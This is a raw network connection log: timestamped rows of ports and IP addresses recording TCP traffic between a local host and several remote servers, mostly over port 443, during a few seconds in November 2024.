Nov 24, 2024 05:11:56.085652113 CET	443	49801	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.093381882 CET	443	49796	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.093430042 CET	443	49796	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.093472004 CET	49796	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.093904972 CET	49796	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.093910933 CET	443	49796	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.093929052 CET	49796	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.093933105 CET	443	49796	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.098083973 CET	49802	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.098153114 CET	443	49802	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.098226070 CET	49802	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.098390102 CET	49802	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.098412991 CET	443	49802	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.103379011 CET	443	49794	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.103437901 CET	443	49794	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.103486061 CET	49794	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.103641987 CET	49794	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.103652954 CET	443	49794	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.103661060 CET	49794	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.103666067 CET	443	49794	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.107146025 CET	49803	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.107208014 CET	443	49803	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.107310057 CET	49803	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.107543945 CET	49803	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.107562065 CET	443	49803	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.146576881 CET	443	49795	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.146637917 CET	443	49795	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.146689892 CET	49795	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.146905899 CET	49795	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.146914005 CET	443	49795	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.146939039 CET	49795	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.146943092 CET	443	49795	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.148885012 CET	443	49797	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.148942947 CET	443	49797	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.149004936 CET	49797	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.149184942 CET	49797	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.149184942 CET	49797	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.149216890 CET	443	49797	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.149229050 CET	443	49797	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.150132895 CET	49804	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.150166035 CET	443	49804	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.150233984 CET	49804	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.150388956 CET	49804	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.150399923 CET	443	49804	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.151336908 CET	49805	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.151395082 CET	443	49805	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:56.151487112 CET	49805	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.151623011 CET	49805	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:56.151643038 CET	443	49805	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.983656883 CET	443	49801	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.983860970 CET	443	49803	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.983978987 CET	443	49802	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.984807014 CET	443	49805	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.987432957 CET	49805	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:57.987447023 CET	443	49805	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.988085032 CET	49805	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:57.988089085 CET	443	49805	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.988459110 CET	49801	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:57.988487005 CET	443	49801	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.988923073 CET	443	49804	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.989037037 CET	49801	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:57.989042044 CET	443	49801	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.989280939 CET	49804	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:57.989293098 CET	443	49804	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.989618063 CET	49804	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:57.989620924 CET	443	49804	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.990484953 CET	49803	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:57.990499973 CET	443	49803	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.990884066 CET	49803	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:57.990890980 CET	443	49803	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.991087914 CET	49802	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:57.991122007 CET	443	49802	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:57.991461992 CET	49802	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:57.991470098 CET	443	49802	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.047344923 CET	49810	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:11:58.047396898 CET	443	49810	142.250.181.100	192.168.2.7
Nov 24, 2024 05:11:58.047615051 CET	49810	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:11:58.047900915 CET	49810	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:11:58.047916889 CET	443	49810	142.250.181.100	192.168.2.7
Nov 24, 2024 05:11:58.418044090 CET	443	49802	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.418126106 CET	443	49802	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.418179989 CET	49802	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.419344902 CET	49802	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.419374943 CET	443	49802	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.419390917 CET	49802	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.419399023 CET	443	49802	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.423479080 CET	443	49805	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.423512936 CET	443	49805	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.423577070 CET	49805	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.423594952 CET	443	49805	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.423652887 CET	49805	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.427056074 CET	443	49803	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.427114964 CET	443	49803	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.427164078 CET	49803	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.427882910 CET	443	49805	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.427961111 CET	443	49805	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.428006887 CET	49805	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.431901932 CET	49811	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.431947947 CET	443	49811	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.432010889 CET	49811	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.432532072 CET	49805	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.432549953 CET	443	49805	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.432559967 CET	49805	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.432565928 CET	443	49805	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.433113098 CET	49803	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.433131933 CET	443	49803	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.433142900 CET	49803	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.433150053 CET	443	49803	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.434998989 CET	49811	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.434997082 CET	443	49804	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.435018063 CET	443	49811	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.435053110 CET	443	49804	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.435115099 CET	49804	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.435127974 CET	443	49804	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.435394049 CET	49804	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.435405016 CET	443	49804	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.435412884 CET	49804	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.435722113 CET	443	49804	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.435831070 CET	443	49804	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.435859919 CET	49812	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.435883999 CET	443	49812	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.435887098 CET	49804	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.435941935 CET	49812	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.436424971 CET	49812	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.436436892 CET	443	49812	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.438015938 CET	49813	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.438035965 CET	443	49813	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.438122034 CET	49813	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.438235998 CET	49813	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.438245058 CET	443	49813	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.438895941 CET	49814	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.438905954 CET	443	49814	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.438976049 CET	49814	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.439174891 CET	49814	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.439187050 CET	443	49814	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.441131115 CET	443	49801	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.441185951 CET	443	49801	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.441237926 CET	49801	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.441248894 CET	443	49801	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.441313028 CET	443	49801	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.441344976 CET	49801	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.441358089 CET	443	49801	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.441368103 CET	49801	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.441371918 CET	443	49801	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.441379070 CET	49801	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.441384077 CET	443	49801	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.444333076 CET	49815	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.444340944 CET	443	49815	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.444406033 CET	49815	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.444524050 CET	49815	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:58.444533110 CET	443	49815	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:58.910037994 CET	49816	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:11:58.910068989 CET	443	49816	184.30.17.174	192.168.2.7
Nov 24, 2024 05:11:58.910151005 CET	49816	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:11:58.911716938 CET	49816	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:11:58.911726952 CET	443	49816	184.30.17.174	192.168.2.7
Nov 24, 2024 05:11:59.189146996 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:59.795876980 CET	443	49810	142.250.181.100	192.168.2.7
Nov 24, 2024 05:11:59.806238890 CET	49810	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:11:59.806272030 CET	443	49810	142.250.181.100	192.168.2.7
Nov 24, 2024 05:11:59.807149887 CET	443	49810	142.250.181.100	192.168.2.7
Nov 24, 2024 05:11:59.807303905 CET	49810	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:11:59.808357954 CET	49810	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:11:59.808419943 CET	443	49810	142.250.181.100	192.168.2.7
Nov 24, 2024 05:11:59.929116011 CET	49810	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:11:59.929131985 CET	443	49810	142.250.181.100	192.168.2.7
Nov 24, 2024 05:12:00.116275072 CET	49810	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:12:00.158195019 CET	443	49811	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.158642054 CET	443	49812	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.158699989 CET	49811	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.158763885 CET	443	49811	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.159512997 CET	49812	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.159516096 CET	49811	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.159523964 CET	443	49811	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.159534931 CET	443	49812	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.159950018 CET	49812	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.159956932 CET	443	49812	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.219748974 CET	443	49813	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.221995115 CET	49813	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.222009897 CET	443	49813	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.222563982 CET	49813	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.222573042 CET	443	49813	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.223016024 CET	443	49814	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.226052999 CET	49814	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.226087093 CET	443	49814	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.228656054 CET	443	49815	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.228708982 CET	49814	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.228718042 CET	443	49814	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.229332924 CET	49815	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.229345083 CET	443	49815	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.230199099 CET	49815	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.230202913 CET	443	49815	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.383709908 CET	443	49816	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:00.383810043 CET	49816	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:12:00.391951084 CET	49820	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.391999960 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.392077923 CET	49820	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.392287970 CET	49820	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.392299891 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.400063992 CET	49816	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:12:00.400075912 CET	443	49816	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:00.400309086 CET	443	49816	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:00.493846893 CET	49816	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:12:00.539344072 CET	443	49816	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:00.600095034 CET	443	49812	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.600272894 CET	443	49812	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.600327969 CET	49812	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.601854086 CET	49812	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.601881981 CET	443	49812	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.604063034 CET	443	49811	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.604083061 CET	443	49811	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.604124069 CET	443	49811	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.604172945 CET	49811	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.605411053 CET	49811	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.605432987 CET	443	49811	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.608689070 CET	49821	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.608705044 CET	443	49821	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.608827114 CET	49821	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.610694885 CET	49822	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.610733986 CET	443	49822	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.610904932 CET	49822	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.611083031 CET	49821	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.611093044 CET	443	49821	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.611779928 CET	49822	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.611799955 CET	443	49822	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.662878036 CET	443	49813	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.667066097 CET	443	49813	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.667213917 CET	443	49814	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.667299986 CET	49813	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.669783115 CET	443	49814	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.670624018 CET	443	49815	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.670702934 CET	49814	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.673954010 CET	443	49815	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.677254915 CET	49815	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.735374928 CET	49813	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.735397100 CET	443	49813	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.736517906 CET	49814	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.736557007 CET	443	49814	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.737623930 CET	49815	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.737628937 CET	443	49815	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.915632963 CET	443	49816	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:00.915685892 CET	443	49816	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:00.915834904 CET	49816	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:12:00.942523003 CET	49823	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.942539930 CET	443	49823	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.942653894 CET	49823	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.943367958 CET	49823	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.943381071 CET	443	49823	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.943720102 CET	49816	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:12:00.943726063 CET	443	49816	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:00.943747997 CET	49816	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:12:00.943752050 CET	443	49816	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:00.948816061 CET	49824	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.948865891 CET	443	49824	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.948926926 CET	49824	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.956017971 CET	49825	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.956078053 CET	443	49825	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.956214905 CET	49824	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.956228971 CET	443	49824	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.956238985 CET	49825	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.957170010 CET	49825	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.957185030 CET	443	49825	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.958038092 CET	49826	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.958045959 CET	443	49826	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.958112955 CET	49826	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.958230019 CET	49826	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:00.958235979 CET	443	49826	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:00.977768898 CET	49827	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:12:00.977816105 CET	443	49827	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:00.977905989 CET	49827	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:12:00.978205919 CET	49827	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:12:00.978224993 CET	443	49827	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:02.178209066 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.198363066 CET	49820	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.198383093 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.199985027 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.200054884 CET	49820	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.206038952 CET	49820	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.206222057 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.206298113 CET	49820	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.206310034 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.249150038 CET	49820	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.397027016 CET	443	49822	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.397677898 CET	49822	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.397701025 CET	443	49822	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.398240089 CET	49822	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.398247957 CET	443	49822	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.448117018 CET	443	49827	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:02.448205948 CET	49827	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:12:02.449640989 CET	49827	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:12:02.449654102 CET	443	49827	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:02.449877024 CET	443	49827	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:02.451004028 CET	49827	443	192.168.2.7	184.30.17.174
Nov 24, 2024 05:12:02.457319021 CET	443	49821	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.457746029 CET	49821	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.457777023 CET	443	49821	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.458621979 CET	49821	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.458627939 CET	443	49821	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.495332956 CET	443	49827	184.30.17.174	192.168.2.7
Nov 24, 2024 05:12:02.662090063 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.662126064 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.662137032 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.662164927 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.662178040 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.662192106 CET	49820	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.662200928 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.662208080 CET	443	49820	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.662230015 CET	49820	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.662256956 CET	49820	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.663674116 CET	49830	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.663722038 CET	443	49830	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.664403915 CET	49830	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.664630890 CET	49830	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.664644957 CET	443	49830	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.691195011 CET	443	49824	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.691787958 CET	49824	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.691816092 CET	443	49824	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.692307949 CET	49824	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.692312956 CET	443	49824	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.695194960 CET	443	49826	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.695668936 CET	49826	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.695683956 CET	443	49826	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.696173906 CET	49826	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.696178913 CET	443	49826	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.759165049 CET	443	49825	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.759829998 CET	49825	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.759882927 CET	443	49825	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.760328054 CET	49825	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.760334015 CET	443	49825	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.811794043 CET	443	49823	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.812046051 CET	49823	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.812068939 CET	443	49823	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.812930107 CET	443	49823	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.813000917 CET	49823	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.814310074 CET	49823	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.814363003 CET	443	49823	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.814682007 CET	49823	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:02.814688921 CET	443	49823	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.838620901 CET	443	49822	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:02.841914892 CET	443	49822	13.107.246.63	192.168.2.7
